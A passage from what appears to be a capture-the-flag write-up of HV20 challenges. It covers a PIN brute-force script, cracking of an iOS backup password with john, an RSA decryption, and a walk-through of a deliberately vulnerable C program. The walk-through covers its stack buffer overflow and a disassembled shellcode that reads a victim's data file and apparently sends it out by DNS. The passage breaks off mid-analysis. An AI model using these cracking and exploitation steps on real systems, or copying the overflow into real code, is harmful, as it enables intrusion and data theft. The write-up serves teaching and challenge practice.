subprocess\n\ndef test_pin(n):\n  p = subprocess.Popen(['.\/padawanlock_patched'], stdin=-1, stdout=-1)\n  return p.communicate(n)[0]\n\nfor i in range(10):\n for j in range(10):\n  for k in range(10):\n   for l in range(10):\n    for m in range(10):\n     for n in range(10):\n      pin = b'%d%d%d%d%d%d'%(i,j,k,l,m,n)\n      r = test_pin(pin)\n      if (b'HV20{' in r):\n        print(r)\n        print(pin)\n        quit()\n<\/code>\n\n<p>After ~7 minutes on my VM the PIN is successfully bruteforced:<\/p>\n\n<code>kali@kali:~\/hv20\/22$ .\/brut0r.py\nb'PIN (6 digits): Unlocked secret is: HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}'\nb'451235'\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"23\">HV20.23 Those who make backups are cowards!<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/23.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"hard\">Hard<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_crypto.png\" width=\"20px\"\/> Crypto<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_ios.png\" width=\"20px\"\/> IOS<\/td><\/tr>\n<tr><td>Author:<\/td><td>hardlock<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nSanta tried to get an important file back from his old mobile phone backup. Thankfully he left a post-it note on his phone with the PIN. Sadly Rudolph thought the Apple was real and started eating it (there we go again...). Now only the first of eight digits, a <b>2<\/b>, is still visible...\n\nBut maybe you can do something to help him get his important stuff back?\n\n<span class=\"fake_link\">Download<\/span>\n\n\n<b>Hints<\/b>\n\nIf you get stuck, call Shamir\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided <span class=\"hl\">RAR archive<\/span> contains an encrypted <span class=\"hl\">IOS<\/span> backup:<\/p>\n\n<code>kali@kali:~\/hv20\/23$ ls -al 5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583\/\ntotal 16764\ndrwxr-xr-x 2 kali kali   24576 Dec 16 15:47 .\ndrwxr-xr-x 3 kali kali    4096 Dec 23 03:06 ..\n-rw-r--r-- 1 kali kali     240 Dec 16 15:47 000cae3437db21095a85771716e6874f92ce7593\n-rw-r--r-- 1 kali kali     144 Dec 16 15:47 012707a2ae34d77a28b16a9e443b780ea4e6b0aa\n-rw-r--r-- 1 kali kali   14224 Dec 16 15:47 01a14737bf725839e60201704f5e0447e23800a6\n-rw-r--r-- 1 kali kali      48 Dec 16 15:47 02080c751f0cd98738a2e9ccf7c133f0197865fa\n...\n-rw-r--r-- 1 kali kali     384 Dec 16 15:47 fe4618d750f01049b6b82e988f8f0227cda1ab8d\n-rw-r--r-- 1 kali kali     112 Dec 16 15:47 fe987f9baac32e5744aa4e8238bdd5f21f283653\n-rw-r--r-- 1 kali kali     240 Dec 16 15:47 ff72d8290d991b3aa58cc2bc6e306434fd47d566\n-rw-r--r-- 1 kali kali    8579 Dec 16 15:47 Info.plist\n-rw-r--r-- 1 kali kali  101463 Dec 16 15:47 Manifest.mbdb\n-rw-r--r-- 1 kali kali    9221 Dec 16 15:47 Manifest.plist\n-rw-r--r-- 1 kali kali     189 Dec 16 15:47 Status.plist\n<\/code>\n\n<p>Since the backup is encrypted, we need the PIN first. In order to crack it we can convert <span class=\"hl\">Manifest.plist <\/span> file to a crackable hash format using <a href=\"https:\/\/github.com\/philsmd\/itunes_backup2hashcat\/blob\/master\/itunes_backup2hashcat.pl\" rel=\"noopener noreferrer\" target=\"_blank\">itunes_backup2hashcat.pl<\/a>:<\/p>\n\n<code>kali@kali:~\/hv20\/23$ perl itunes_backup2hashcat.pl 5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583\/Manifest.plist \n$itunes_backup$*9*892dba473d7ad9486741346d009b0deeccd32eea6937ce67070a0500b723c871a454a81e569f95d9*10000*0834c7493b056222d7a7e382a69c0c6a06649d9a**\n<\/code>\n\n<p>Now we can e.g. use <span class=\"hl\">john<\/span> to crack the hash by providing the mask <span class=\"hl\">2?d?d?d?d?d?d?d<\/span> (2 followed by 7 other digits):<\/p>\n\n<code>kali@kali:~\/hv20\/23$ john -1='02' -mask=2?d?d?d?d?d?d?d hash.txt \nUsing default input encoding: UTF-8\nLoaded 1 password hash (itunes-backup, Apple iTunes Backup [PBKDF2-SHA1 AES 256\/256 AVX2 8x])\n...\n20201225         (?)\n...\n<\/code>\n\n<p>Accordingly the PIN is <span class=\"hl\">20201225<\/span>.<\/p>\n\n<p>At next we can e.g. use <a href=\"https:\/\/www.icopybot.com\/itunes-backup-manager.htm\" rel=\"noopener noreferrer\" target=\"_blank\">iBackupBot<\/a> in order to decrypt the backup:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv23_01.png\" width=\"800px\"\/><\/p>\n\n<p>The contacts contains two entries: <span class=\"hl\">M<\/span> and <span class=\"hl\">N<\/span>. Both entries contain a large number within the notes:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv23_02.png\" width=\"800px\"\/><\/p>\n\n<p>In order to extract these numbers, we can export the file as a <span class=\"hl\">sqlite<\/span> database and open it using <span class=\"hl\">sqlite3<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/23$ sqlite3 AddressBook.sqlitedb\nSQLite version 3.31.0 2019-12-29 00:52:41\nEnter \".help\" for usage hints.\nsqlite> select * from ABPerson;\n2|M||||||||6344440980251505214334711510534398387022222632429506422215055328147354699502|0||||||A\u00dc|A\u00dc|629844018|629844018|||||0|||A|A|0|0|-1||1|50808F95-A166-4290-97D3-3B9FA17073EB:ABPerson|||||||||\n3|N||||||||77534090655128210476812812639070684519317429042401383232913500313570136429769|0||||||C\u00dc|C\u00dc|629844041|629844090|||||0|||C|C|0|0|-1||1|315422BB-B907-425D-9D68-7A4D94906B1B:ABPerson|||||||||\n<\/code>\n\n<p>The <span class=\"hl\">Shamir<\/span> hint within the challenge description points to <span class=\"hl\">RSA<\/span>. We can factorize <span class=\"hl\">N<\/span> using <a href=\"http:\/\/factordb.com\" rel=\"noopener noreferrer\" target=\"_blank\">factordb.com<\/a>:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv23_03.png\" width=\"800px\"\/><\/p>\n\n<p>The number <span class=\"hl\">M<\/span> is the encrypted message. Since we now also have <span class=\"hl\">p<\/span> and <span class=\"hl\">q<\/span>, we can restore the private exponent <span class=\"hl\">d<\/span> and decrypt the message with the following python script:<\/p>\n\n<code>kali@kali:~\/hv20\/23$ cat decrypt0r.py \n#!\/usr\/bin\/env python3\n\nimport gmpy2\n\nm = 6344440980251505214334711510534398387022222632429506422215055328147354699502\np = 250036537280588548265467573745565999443\nq = 310091043086715822123974886007224132083\nn = p * q\nphi = (p-1)*(q-1)\ne = 65537\nd = gmpy2.divm(1, e, phi)\nmsg = gmpy2.powmod(m,d,n)\nmsg = bytes.fromhex('%x'%msg)\nprint(msg)\n<\/code>\n\n<p>Running the script yields the flag:<\/p>\n\n<code>kali@kali:~\/hv20\/23$ .\/decrypt0r.py \nb'HV20{s0rry_n0_gam3_to_play}'\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{s0rry_n0_gam3_to_play}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"24\">HV20.24 Santa's Secure Data Storage<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/24.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"leet\">Leet<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_rev.png\" width=\"20px\"\/> Reverse Engineering<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_expl.png\" width=\"20px\"\/> Exploitation<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_crypto.png\" width=\"20px\"\/> Crypto<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_nw.png\" width=\"20px\"\/> Network Security<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/scryh_\" rel=\"noopener noreferrer\" target=\"_blank\">scryh<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nIn order to prevent the leakage of any flags, Santa decided to instruct his elves to implement a secure data storage, which encrypts all entered data before storing it to disk.\n\nAccording to the paradigm <i>Always implement your own crypto<\/i> the elves designed a custom hash function for storing user passwords as well as a custom stream cipher, which is used to encrypt the stored data.\n\nSanta is very pleased with the work of the elves and stores a flag in the application. For his password he usually uses the <i>secure password generator<\/i> <span class=\"hl\">shuf -n1 rockyou.txt<\/span>.\n\nGiving each other a pat on the back for the good work the elves lean back in their chairs relaxedly, when suddenly the intrusion detection system raises an alert: the application seems to be exploited remotely!\n\n\n<b>Mission<\/b>\n\nSanta and the elves need your help!\n\nThe intrusion detection system captured the network traffic of the whole attack.\n\nHow did the attacker got in? Was (s)he able to steal the flag?\n\n<span class=\"fake_link\">Download<\/span>\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>This challenge was authored by myself. Originally the challenge was planned to have the source code included, but since it was released as the final challenge, we removed the source code to further increase the difficulty.\n\n<p>Within this writeup I assume to have source code access, so you can have a look at the original code down here.<\/p>\n\n<p>The challenge provides a zip-archive, which contains the exploited application (<span class=\"hl\">data_storage<\/span>) as well as a network traffic capture of the attack (<span class=\"hl\">attack.pcapng<\/span>).<\/p>\n\n<p>At first let's have a quick look at how the application is working.<\/p>\n\n<p>When running the application we need to set a username and a password:<\/p>\n\n<code>kali@kali:~$ .\/data_storage\nwelcome to santa's secure data storage!\nplease login with existing credentials or enter new username ...\nusername> test\ncreating user 'test' ...\nplease set your password (max-length: 19)\npassword> 123456\nwelcome test!\n<\/code>\n\n<p>At this point the application stored the hash of our password in the file <span class=\"hl\"><\/span>data\/test_pwd.txt<\/span>:<\/p>\n\n<code>kali@kali:~$ hexdump -C data\/test_pwd.txt \n00000000  eb d6 46 2f 7d 25 cc ee  fa 75 4b 8b 68 5d b9 9d  |..F\/}%...uK.h]..|\n00000010\n<\/code>\n\n<p>After being logged in the following menu is displayed:<\/p>\n\n<code>[0] show data\n[1] enter data\n[2] delete data\n[3] quit\nchoice>\n<\/code>\n\n<p>In order to store data, we select <span class=\"hl\">[1] enter data<\/span>:<\/p>\n\n<code>choice> 1\ndata> TTTTTEEEEEEEESSSSSTTTTT\n<\/code>\n\n<p>After we entered some data, a new file called <span class=\"hl\">test_data.txt<\/span> is created, which contains our encrypted data:<\/p>\n\n<code>kali@kali:~$ hexdump -C data\/test_data.txt \n00000000  ad 43 ce 2e 3f 33 4f d4  69 6f 16 5f e1 ec f6 97  |.C..?3O.io._....|\n00000010  ba 54 de 3e 2f 32 4e 81                           |.T.>\/2N.|\n00000018\n<\/code>\n\n<p>By selecting <span class=\"hl\">[0] show data<\/span> we can decrypt and display our data:<\/p>\n\n<code>choice> 0\nyour secret data:\nTTTTTEEEEEEEESSSSSTTTTT\n<\/code>\n\n<p>If we like to delete the data, we can select <span class=\"hl\">[2] delete data<\/span>:<\/p>\n\n<code>choice> 2\ndata deleted!\n<\/code>\n\n<p>This simply deletes the file <span class=\"hl\">data\/test_data.txt<\/span>:<\/p>\n\n<code>kali@kali:~$ hexdump -C data\/test_data.txt \nhexdump: data\/test_data.txt: No such file or directory\n<\/code>\n\n<p>Since we now have a basic understanding of how the application works, let's have a look at the source code.<\/p>\n\n<p>At first we want to figure out how the password is encrypted. The password handling is implemented in the function <span class=\"hl\">login_password<\/span>:<\/p>\n\n<code>void login_password() {\n  char pwd_file[40] = {0};\n  char pwd[20] = {0};\n  snprintf(pwd_file, sizeof(pwd_file), \"data\/%s_pwd.txt\", username);\n\n  if (access(pwd_file, F_OK) != -1) {\n    printf(\"found user '%s' ...\\n\", username);\n    while (1) {\n      printf(\"password&gt; \");\n      fgets(pwd, 20, stdin);\n      pwd[strcspn(pwd, \"\\n\")] = 0x00;\n      if (check_pwd(pwd_file, pwd)) break;\n      puts(\"wrong password!\");\n    }\n  }\n  else {\n    printf(\"creating user '%s' ...\\nplease set your password (max-length: 19)\\n\", username);\n    printf(\"password&gt; \");\n    fgets(pwd, 20, stdin);\n    pwd[strcspn(pwd, \"\\n\")] = 0x00;\n    create_user(pwd_file, pwd);\n  }\n  printf(\"welcome %s!\\n\", username);\n}\n<\/code>\n\n<p>At the beginning of the function the name of the file is constructed, which will contain our password hash. As we have already seen this is simply <span class=\"hl\">data\/&lt;USERNAME&gt;_pwd.txt<\/span>.<\/p>\n\n<p>After this follows a check if the user exists or more specificly if the corresponding password hash file exists by calling the function <span class=\"hl\">access<\/span>. If the file already exists, a password is read from stdin and verified by calling <span class=\"hl\">check_pwd<\/span>. If the file does not exist, a new password is read from stdin and passed to the function <span class=\"hl\">create_user<\/span>. Let's have a look at this function:<\/p>\n\n<code>void create_user(char *pwd_file, char *pwd) {\n  calc_hash(pwd, strlen(pwd), pwd_hash);\n  FILE *fp = fopen(pwd_file, \"w\");\n  fwrite(pwd_hash, 1, HASH_LENGTH, fp);\n  fclose(fp);\n}\n<\/code>\n\n<p>The given password is passed to the function <span class=\"hl\">calc_hash<\/span>, which seems to calculate the hash of our password. After this the hash is stored in the password hash file. Let's have a look at the function <span class=\"hl\">calc_hash<\/span>:<\/p>\n\n<code>void calc_hash(char *data, size_t len_data, char *hash) {\n  unsigned long h[4] = {0x68736168, 0xdeadbeef, 0x65726f6d, 0xc00ffeee};\n  unsigned long a=h[0];\n  unsigned long b=h[1];\n  unsigned long c=h[2];\n  unsigned long d=h[3];\n  for (int i = 0; i &lt; len_data; i++) {\n    char x = data[i];\n    a ^= ((x^((x*(i+0x31))&0xff))&lt;&lt;24) | ((x^((x*(i+0x42))&0xff))&lt;&lt;16) | ((x^((x*(i+0xef))&0xff))&lt;&lt;8) | (x^((x*i)&0xff));\n    b ^= ((x^((x*(i+0xc0))&0xff))&lt;&lt;24) | ((x^((x*(i+0x11))&0xff))&lt;&lt;16) | ((x^((x*(i+0xde))&0xff))&lt;&lt;8) | (x^((x*i)&0x5a));\n    c ^= ((x^((x*(i+0xe3))&0xff))&lt;&lt;24) | ((x^((x*(i+0xde))&0xff))&lt;&lt;16) | ((x^((x*(i+0x0d))&0xff))&lt;&lt;8) | (x^((x*i)&0x22));\n    d ^= ((x^((x*(i+0x52))&0xff))&lt;&lt;24) | ((x^((x*(i+0x24))&0xff))&lt;&lt;16) | ((x^((x*(i+0x33))&0xff))&lt;&lt;8) | (x^((x*i)&0xef));\n    h[0] = d;\n    h[1] = a;\n    h[2] = b;\n    h[3] = c;\n  }\n  *((unsigned long*)hash)      = h[0];\n  *((unsigned long*)(hash+4))  = h[1];\n  *((unsigned long*)(hash+8))  = h[2];\n  *((unsigned long*)(hash+12)) = h[3];\n}<\/code>\n\n<p>The function basically initializes four dwords with a constant value, iterates over each character within the data to be hashed, performs some mathematical operations on the dwords based on the data and finally writes the new values to a resulting 16 bytes hash value.<\/p>\n\n<p>Since we now have a basical idea how the password is hashed and stored to disk, let's see how the function <span class=\"hl\">check_pwd<\/span> is implemented, which is called when the user already exists:<\/p>\n\n<code>int check_pwd(char *pwd_file, char *pwd) {\n  FILE *fp = fopen(pwd_file, \"r\");\n  size_t len = fread(pwd_hash, 1, sizeof(pwd_hash), fp);\n  fclose(fp);\n  if (len != HASH_LENGTH) return 0;\n  char hash[HASH_LENGTH] = {0};\n  calc_hash(pwd, strlen(pwd), hash);\n  return (memcmp(pwd_hash, hash, HASH_LENGTH) == 0);\n}                             \n<\/code>\n\n<p>At first the stored password hash is read from disk. After this the hash for the entered password is calculated. At last both hashes are compared.<\/p>\n\n<p>At next we would like to understand how the entered data is encrypted and stored. So let's have a look at the function <span class=\"hl\">enter_data<\/span>:<\/p>\n\n<code>void enter_data(char *data_file) {\n  if (access(data_file, F_OK) != -1) {\n    int choice;\n    puts(\"existing data found!\");\n    puts(\"[0] abort\");\n    puts(\"[1] overwrite\");\n    printf(\"choice> \");\n    char buf[10];\n    fgets(buf, 10, stdin);\n    choice = atoi(buf);\n    if (choice != 1) return;\n  }\n  char data[100];\n  size_t len = 0;\n  memset(data, 0x00, sizeof(data));\n  printf(\"data> \");\n  fgets(data, 100, stdin);\n  data[strcspn(data, \"\\n\")] = 0x00;\n  len = strlen(data);\n  encrypt(data, pwd_hash);\n  FILE *fp = fopen(data_file, \"w\");\n  fwrite(data, 1, len+1, fp);\n  fclose(fp);\n}\n<\/code>\n\n<p>At the beginning of the function is a check, if the data file already exists. If this is the case, the user is notified and can choose to abort or overwrite the stored data.<\/p>\n\n<p>If the user chooses to overwrite existing data or if no data exists, <span class=\"hl\">fgets<\/span> is called to read the user input into the variable <span class=\"hl\">data<\/span>. This variable is then passed to the function <span class=\"hl\">encrypt<\/span> along with the password hash stored in <span class=\"hl\">pwd_hash<\/span>. Let's have a look at the function <span class=\"hl\">encrypt<\/span>:<\/p>\n\n<code>void encrypt(char *data, char *key) {\n  int i = 0;\n  while (data[i] != 0x00) {\n    data[i] ^= keystream_get_char(i, key);\n    i++;\n  }\n  data[i] ^= keystream_get_char(i, key);\n}           \n<\/code>\n\n<p>This function looks quite simple: it iterates over every byte of the given data and XORs it with a byte of the keystream generated by <span class=\"hl\">keystream_get_char<\/span> until a null-byte is reached. The arguments to the <span class=\"hl\">keystream_get_char<\/span> function are the position of the byte (<span class=\"hl\">i<\/span>) as well as a <span class=\"hl\">key<\/span>. Let's have a look at the function:<\/p>\n\n<code>char keystream_get_char(int state, char *key) {\n  char e[] = {0xde, 0xad, 0xbe, 0xef, 0xc0, 0x12, 0x34, 0x56, 0x78, 0x9a};\n  char c = key[state % 16];\n  unsigned long r = c^state^e;\n  return (r&0xff);\n}         \n<\/code>\n\n<p>At the beginning of the function a byte array with some static values is initialized. The <span class=\"hl\">char<\/span> variable <span class=\"hl\">c<\/span> is set to a byte from the given key based on <span class=\"hl\">state<\/span>, which was the variable <span class=\"hl\">i<\/span> in the function <span class=\"hl\">encrypt<\/span>. After this the variable <span class=\"hl\">r<\/span> is calculated by XORing <span class=\"hl\">c<\/span>, <span class=\"hl\">state<\/span> and a byte from the array <span class=\"hl\">e<\/span> (based on the value of <span class=\"hl\">c<\/span>). At last the variable <span class=\"hl\">r<\/span> is ANDed with <span class=\"hl\">0xff<\/span> in order to produce a single byte. This byte is then returned.<\/p>\n\n<p>Finally let's have a look at the function <span class=\"hl\">show_data<\/span>, which decrypts and shows the entered data:<\/p>\n\n<code>void show_data(char *data_file) {\n  if (access(data_file, F_OK) == -1) {\n    puts(\"no data found!\");\n    return;\n  }\n  char data[100];\n  memset(data, 0x00, sizeof(data));\n  FILE *fp = fopen(data_file, \"r\");\n  fread(data, 1, sizeof(data), fp);\n  fclose(fp);\n  decrypt(data, pwd_hash);\n  printf(\"your secret data:\\n%s\\n\", data);\n}                  \n<\/code>\n\n<p>At first the existence of the data file is checked. If the file is existent, the encrypted data is read and decrypted again using the user's password hash as the key. The decrypted data is then displayed.<\/p>\n\n<p>For the sake of completeness, let's take a quick look at the <span class=\"hl\">decrypt<\/span> function:<\/p>\n\n<code>void decrypt(char *data, char *key) {\n  int i = 0;\n  while ((data[i] ^= keystream_get_char(i, key)) != 0x00) {\n    i++;\n  }\n}     \n<\/code>\n\n<p>Not very suprisingly the function XORs every byte of the encrypted data with a byte of the keystream. This effectively decrypts the data.<\/p>\n\n<p>\nLet's sum up our current analysis results:\n<ul>\n<li>the user's password hash is stored in the file <span class=\"hl\">data\/&lt;USERNAME&gt;_pwd.txt<\/span><\/li>\n<li>the password is hashed with a custom hash (<span class=\"hl\">calc_hash<\/span>)<\/li>\n<li>when logging in, the password hash for the user is read from disk and compared to the hash of the entered password<\/li>\n<li>the data is encrypted using a custom stream cipher (<span class=\"hl\">keystream_get_char<\/span>) with the user's password hash as the key and stored to <span class=\"hl\">data\/&lt;USERNAME&gt;_data.txt<\/span><\/li>\n<li>when the user chooses to display the data, the encrypted data is read from disk, decrypted using the user's password hash and finally displayed<\/li>\n<\/ul>\n<\/p>\n\n\n<p>Since we know have a fundamental understanding of the progam, let's have a look at the attack.<\/p>\n\n<p>In order to make the application available remotely <span class=\"hl\">socat<\/span> was used:<\/p>\n\n<code>kali@kali:~$ cat server.sh \n#!\/bin\/bash\nsocat TCP4-LISTEN:5555,reuseaddr,fork EXEC:.\/data_storage,stderr;\n<\/code>\n\n<p>The provided network capture contains basically two interesting data flows. The first one is a TCP connection from <span class=\"hl\">192.168.0.42<\/span> to the server (<span class=\"hl\">192.168.0.1:5555<\/span>), which seems to be the actual exploit.<\/p>\n\n<p>Obviously the attacker used an account called <span class=\"hl\">evil0r<\/span> with the password <span class=\"hl\">lovebug1<\/span>. After this the attacker quit the application by providing a <span class=\"hl\">3<\/span> in the menu. But after the number follows additional data, which looks very suspicious.<\/p>\n\n<p>The second interesting item within the capture is a DNS request from the server to the attacker machine (<span class=\"hl\">192.168.0.42:53<\/span>). This actually looks like the attacker exfiltrated some data, although it does not seem to be in plaintext.<\/p>\n\n<p>At first let's determine which vulnerability the attacker exploited. As we have already seen, the choice parameter of the attacker does not only contain a number (<span class=\"hl\">3<\/span>), but also additional data. The function responsible for reading the menu choice is called <span class=\"hl\">show_menu<\/span>:<\/p>\n\n<code>void show_menu() {                       \n  char data_file[40];                    \n  int choice;                            \n  snprintf(data_file, sizeof(data_file), \"data\/%s_data.txt\", username);\n  while (1) {                            \n    puts(\"[0] show data\");   \n    puts(\"[1] enter data\");\n    puts(\"[2] delete data\");\n    puts(\"[3] quit\");\n    printf(\"choice> \");\n    char buf[10];                        \n    fgets(buf, 1000, stdin);\n    choice = atoi(buf);\n    if (choice == 0) show_data(data_file);\n    else if (choice == 1) enter_data(data_file);\n    else if (choice == 2) delete_data(data_file);\n    else if (choice == 3) {\n      puts(\"good bye!\");\n      return;                            \n    }                                    \n    else puts(\"unknown choice!\");\n  }                                      \n}                                \n<\/code>\n\n<p>There is actually a vulnerability within the function. The size provided to the call to <span class=\"hl\">fgets<\/span> is <span class=\"hl\">1000<\/span>, although the passed buffer (<span class=\"hl\">buf<\/span>) is only 10 bytes in size. This results in a buffer overflow, which can overwrite the return address on the stack.<\/p>\n\n<p>In order to reach the return instruction, the attack provided <span class=\"hl\">3<\/span> at the beginning of the payload. This way the function returns and the overwritten return address is loaded into the instruction pointer. After the <span class=\"hl\">3<\/span> the payload contains a few <span class=\"hl\">AAAA..<\/span> in order to pad the payload to the actual return address. The return address will then be overwritten with the value <span class=\"hl\">0x404110<\/span>. If we search for this address in <span class=\"hl\">radare2<\/span>, we can see that this is the address of the password hash:<\/p>\n\n<code>kali@kali:~$ r2 -A data_storage                    \n...\n[0x00401130]> is~404110\n036 ---------- 0x00404110  LOCAL    OBJ   16 pwd_hash\n<\/code>\n\n<p>This means that the execution will continue at the password hash. In order to know which bytes are executed, we need to calculate the hash for the password the attacker entered (<span class=\"hl\">lovebug1<\/span>). We can calculate the hash by locally creating a user with the same password and check the created <span class=\"hl\">data\/&lt;USERNAME&gt;_pwd.txt<\/span> file or by implementing an own python script:<\/p>\n\n<code>#!\/usr\/bin\/env python3\n\nimport sys\n\ndef calc_hash(data):\n  h = [0x68736168, 0xdeadbeef, 0x65726f6d, 0xc00ffeee]\n  a = h[0]\n  b = h[1]\n  c = h[2]\n  d = h[3]\n  for i in range(len(data)):\n    x = ord(data[i])\n    a ^= ((x^((x*(i+0x31))&0xff))&lt;&lt;24) | ((x^((x*(i+0x42))&0xff))&lt;&lt;16) | ((x^((x*(i+0xef))&0xff))&lt;&lt;8) | (x^((x*i)&0xff))\n    b ^= ((x^((x*(i+0xc0))&0xff))&lt;&lt;24) | ((x^((x*(i+0x11))&0xff))&lt;&lt;16) | ((x^((x*(i+0xde))&0xff))&lt;&lt;8) | (x^((x*i)&0x5a))\n    c ^= ((x^((x*(i+0xe3))&0xff))&lt;&lt;24) | ((x^((x*(i+0xde))&0xff))&lt;&lt;16) | ((x^((x*(i+0x0d))&0xff))&lt;&lt;8) | (x^((x*i)&0x22))\n    d ^= ((x^((x*(i+0x52))&0xff))&lt;&lt;24) | ((x^((x*(i+0x24))&0xff))&lt;&lt;16) | ((x^((x*(i+0x33))&0xff))&lt;&lt;8) | (x^((x*i)&0xef))\n    h[0] = d\n    h[1] = a\n    h[2] = b\n    h[3] = c\n  r = (h[0]).to_bytes(4, 'little')+(h[1]).to_bytes(4, 'little')+(h[2]).to_bytes(4, 'little')+(h[3]).to_bytes(4, 'little')\n  return r\n\nprint(calc_hash(sys.argv[1]).hex())\n<\/code>\n\n<p>Accordingly the hash for the password <span class=\"hl\">lovebug1<\/span> is <span class=\"hl\">ffe4b28b699f2840ee21e51f3c23ed0f<\/span>:<\/p>\n\n<code>kali@kali:~$ .\/calc_hash.py lovebug1\nffe4b28b699f2840ee21e51f3c23ed0f\n<\/code>\n\n<p>If we disassemble this hash, we can see that the first instruction is <span class=\"hl\">jmp rsp<\/span>:<\/p>\n\n<code>kali@kali:~$ echo ffe4b28b699f2840ee21e51f3c23ed0f|xxd -r -p|ndisasm -b 64 -\n00000000  FFE4              jmp rsp\n00000002  B28B              mov dl,0x8b\n00000004  699F2840EE21E51F  imul ebx,[rdi+0x21ee4028],dword 0x233c1fe5\n         -3C23\n0000000E  ED                in eax,dx\n0000000F  0F                db 0x0f\n<\/code>\n\n<p>This means that the execution will continue on the stack right after the return address. Accordingly this must be the actual shellcode the attacker used. In order to extract the shellcode, we start by copying the whole payload from wireshark. At next we can skip the beginning of the payload and store the shellcode in a file:<\/p>\n\n<code>kali@kali:~$ echo 687478740048bf74...00f050a|xxd -r -p > payload\n<\/code>\n\n<p>The shellcode can for example be disassembled by using radare2. We can see that there is a series of syscalls. Let's step through it one by one.<\/p>\n\n<p>At first the string <span class=\"hl\">data\/santa_data.txt<\/span> is pushed on the stack and the syscall <span class=\"hl\">2<\/span> = <span class=\"hl\">sys_open<\/span> is executed:<\/p>\n\n<code>kali@kali:~$ r2 -A payload\n...\n[0x00000000]> pdf\n...\n|           0x00000000      6874787400     push 0x747874               ; 'txt'\n|           0x00000005      48bf74615f64.  movabs rdi, 0x2e617461645f6174 ; 'ta_data.'\n|           0x0000000f      57             push rdi\n|           ; DATA XREF from fcn.00000000 @ 0xb4\n|           0x00000010      48bf64617461.  movabs rdi, 0x6e61732f61746164 ; 'data\/san'\n|           0x0000001a      57             push rdi\n|           0x0000001b      4889e7         mov rdi, rsp\n|           0x0000001e      4831f6         xor rsi, rsi\n|           0x00000021      4831d2         xor rdx, rdx\n|           0x00000024      b802000000     mov eax, 2\n|           ; DATA XREF from fcn.00000000 @ 0x87\n|           0x00000029      0f05           syscall\n<\/code>\n\n<p>The returned file descriptor is moved to <span class=\"hl\">RDI<\/span>. The value <span class=\"hl\">0x100010000<\/span> is pushed onto the stack followed by the value <span class=\"hl\">0<\/span> four times. <span class=\"hl\">RSI<\/span> is set to the stack pointer (<span class=\"hl\">RSP<\/span>) at this point. After this another two values are pushed onto the stack: <span class=\"hl\">0x2000000000000001<\/span> and <span class=\"hl\">0x13713000000<\/span>. Finally the syscall <span class=\"hl\">0<\/span> = <span class=\"hl\">sys_read<\/span> is executed, reading a up to 20 bytes from the file <span class=\"hl\">data\/santa_data.txt<\/span> to the place on the stack, where to four <span class=\"hl\">0<\/span> values were stored:<\/p>\n\n<code>|           0x0000002b      4889c7         mov rdi, rax\n|           0x0000002e      48ba00000100.  movabs rdx, 0x100010000\n|           0x00000038      52             push rdx\n|           0x00000039      6a00           push 0\n|           0x0000003b      6a00           push 0\n|           0x0000003d      6a00           push 0\n|           0x0000003f      6a00           push 0\n|           0x00000041      4889e6         mov rsi, rsp\n|           0x00000044      48ba01000000.  movabs rdx, 0x2000000000000001 ; 2305843009213693953\n|           0x0000004e      52             push rdx\n|           0x0000004f      48ba00000013.  movabs rdx, 0x13713000000\n|           0x00000059      52             push rdx\n|           0x0000005a      ba20000000     mov edx, 0x20\n|           0x0000005f      b800000000     mov eax, 0\n|           0x00000064      0f05           syscall\n<\/code>\n\n<p>The following instructions do not seem to be associated with any specific syscall. Within a loop each dword within the area, where the data from the file was read, is XORed with the value <span class=\"hl\">0xdeadbeef<\/span>:<\/p>\n\n<code>\n|           0x00000066      4831c9         xor rcx, rcx\n|           ; CODE XREF from fcn.00000000 @ 0x78\n|       .-> 0x00000069      81340eefbead.  xor dword [rsi + rcx], 0xdeadbeef ; [0xdeadbeef:4]=-1\n|       :   0x00000070      4883c104       add rcx, 4\n|       :   0x00000074      4883f920       cmp rcx, 0x20\n|       `=&lt; 0x00000078      75ef           jne 0x69\n<\/code>\n\n<p>At next a syscall <span class=\"hl\">0x29<\/span> = <span class=\"hl\">sys_socket<\/span> is executed. The first argument (family stored in <span class=\"hl\">RDI<\/span>) is set to <span 